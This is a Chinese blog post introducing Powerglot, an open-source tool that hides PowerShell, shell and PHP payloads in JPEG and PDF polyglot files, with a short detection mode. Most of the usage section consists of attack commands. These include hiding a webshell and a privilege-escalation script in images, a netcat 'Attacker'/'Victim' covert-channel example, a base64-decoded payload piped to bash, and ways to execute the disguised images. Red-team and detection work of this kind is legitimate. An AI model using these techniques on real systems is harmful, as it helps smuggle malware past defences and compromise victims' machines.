工具源码

一款具有攻击性编码工具 —— Powerglot

zeronohacker · 11月2日 · 2020年 · 102次已读

工具链接:https://github.com/mindcrypt/powerglot

1 介绍

Powerglot 可以编码多种使用 Polyglots 的脚本,比如,具有攻击性的 Powershell 脚本,经过 Powerglot 编码后就不再需要加载程序来运行 Payload 了。在红队演习和进攻性任务中,隐藏 Payload 通常是通过使用隐写术来完成的,这样做的目的是为了有效规避检测,同时也是用 Powershell 开发具有 Payload 脚本最常见技术之一。在最近的恶意软件和 APT 组织就使用了其中一些功能,比如 APT32APT37UrsnifPowloadLightNeuron/TurlaPlatinum APTWaterbug/TurlaLokibotDukesTitanium 等。Powerglot 是基于 Polyglots 的一款多功能、多平台的攻击和防御工具。Powerglot 能将脚本 (powershell,shell,php 等) 隐藏在图片文件中。与通常的攻击性工具和恶意软件不同,Powerglot 不需要任何加载程序即可执行隐藏的信息。Powerglot 在进攻任务中具有明显的实用性,但被定义为新发现的东西或者是蓝队工具。Powerglot 是第一个使用 Polyglots 查找隐藏信息的通用完整开源工具,这些信息对于实现持久性或隐藏恶意软件 (提升权限,横向运动,反弹 shell 等) 很有用。以下为 Powerglot 的特性:

  • 可将 Powershell、shell 脚本、php 等编码为 Polyglots 图片,不需要加载程序来恢复/执行隐藏的信息 (Payload),Powerglot 可支持多种格式,主要为 JPEG 和 PDF 格式,其他格式支持正在路上 ……
  • Powerglot 是一个完整的开源工具,可以检测 Polyglots,同样也能检测恶意的 Polyglots,特别是某些公开工具 (如 Truepolyglot 或 stegoSploit) 的结果。可在多种格式下工作:JPEG,PNG,GIF,BMP,ZIP,PDF,MP3 等。

提示:Polyglots 指的是通晓多种语言的人或物,在文中表示的是使用多种语言编写的脚本文件。

2 安装

安装命令:

# git clone https://github.com/mindcrypt/powerglot
# cd powerglot
# python3 powerglot

3 使用方法

以下为 Powerglot 使用 Polyglots 来隐藏 Payload 的一些粟子:

# Example 1 - Hiding a powershell/php/shell script in a JPEG image

# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# Example 2 - Hiding a shell script (linenum.sh) for privilege escalation "hidden" in a JPEG image

# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (It is a valid JPEG file)
# feh cat-lineum.jpg (The image is properly showed in an image viewer)

# We can execute the script in several ways:

a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# Example 3 - Hiding a cover-channel wiht netcat in a JPEG image

# Attacker
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444

#Victim
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg
# Example 4 - Polyglot in PDF (Ej-linenum.sh)
# Create b64.sh with your favourite payload
base64 Linenum.sh -w 0 > b64.sh
# Edit b64.sh
echo "code in b64.sh" | base64 -d | bash;

# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf

# Execute payload
# cat test.pdf | bash or chmod +x test.pdf; ./test.pdf
# Example 5 - Powershell in JPEG (polyglot)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg

# Execute payload (example)
# cat cat-ps.jpeg | pwsh

PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>

 NPM(K)    PM(M)      WS(M)     CPU(s)      Id  SI ProcessName
 ------    -----      -----     ------      --  -- -----------
      0     0,00       2,70       0,00     830 829 (sd-pam)
      0     0,00       0,00       0,00      75   0 acpi_thermal_pm
      0     0,00       4,80       0,00    1217 854 agent
      0     0,00       1,70       0,00     748 748 agetty
      0     0,00      40,77       1,01    1198 854 applet.py
      0     0,00       6,29       0,00     938 938 at-spi-bus-launcher
      0     0,00       6,61       5,64     953 938 at-spi2-registryd
      0     0,00       0,00       0,00     131   0 ata_sff
      0     0,00       1,77       0,00    8906 …78 atom
      0     0,00     218,81     585,95    8908 …78 atom
      0     0,00     236,18     176,24    8947 …78 atom
      0     0,00     142,14       2,51    9009 …78 atom
      0     0,00      81,54       3,32    8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
      0     0,00      39,44       0,01    8910 …78 atom --type=zygote --no-sandbox
      0     0,00       5,62       0,11    1370 …70 bash
      0     0,00       5,36       0,66    5278 …78 bash
      0     0,00       6,34       1,48    6778 …78 bash
      0     0,00       0,00       0,00      68   0 blkcg_punt_bio
      0     0,00      46,73       2,20    1199 854 blueman-applet
      0     0,00      50,25       1,64    1301 854 blueman-tray

以下为检测 Polyglots 的一些粟子:

#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..

3 将来我们要做的

  • 我们正在努力支持使用多种文件格式对 Polyglots 进行信息编码。当前支持 JPEG 和 PDF。
  • 我们正致力于整合不同格式的多基因检测规则。目前可检测到 JPEG 文件中是否存在隐写 (在 FFD9 之后添加 */–>)

(本文完)

0 条回应

必须 注册 为本站用户, 登录 后才可以发表评论!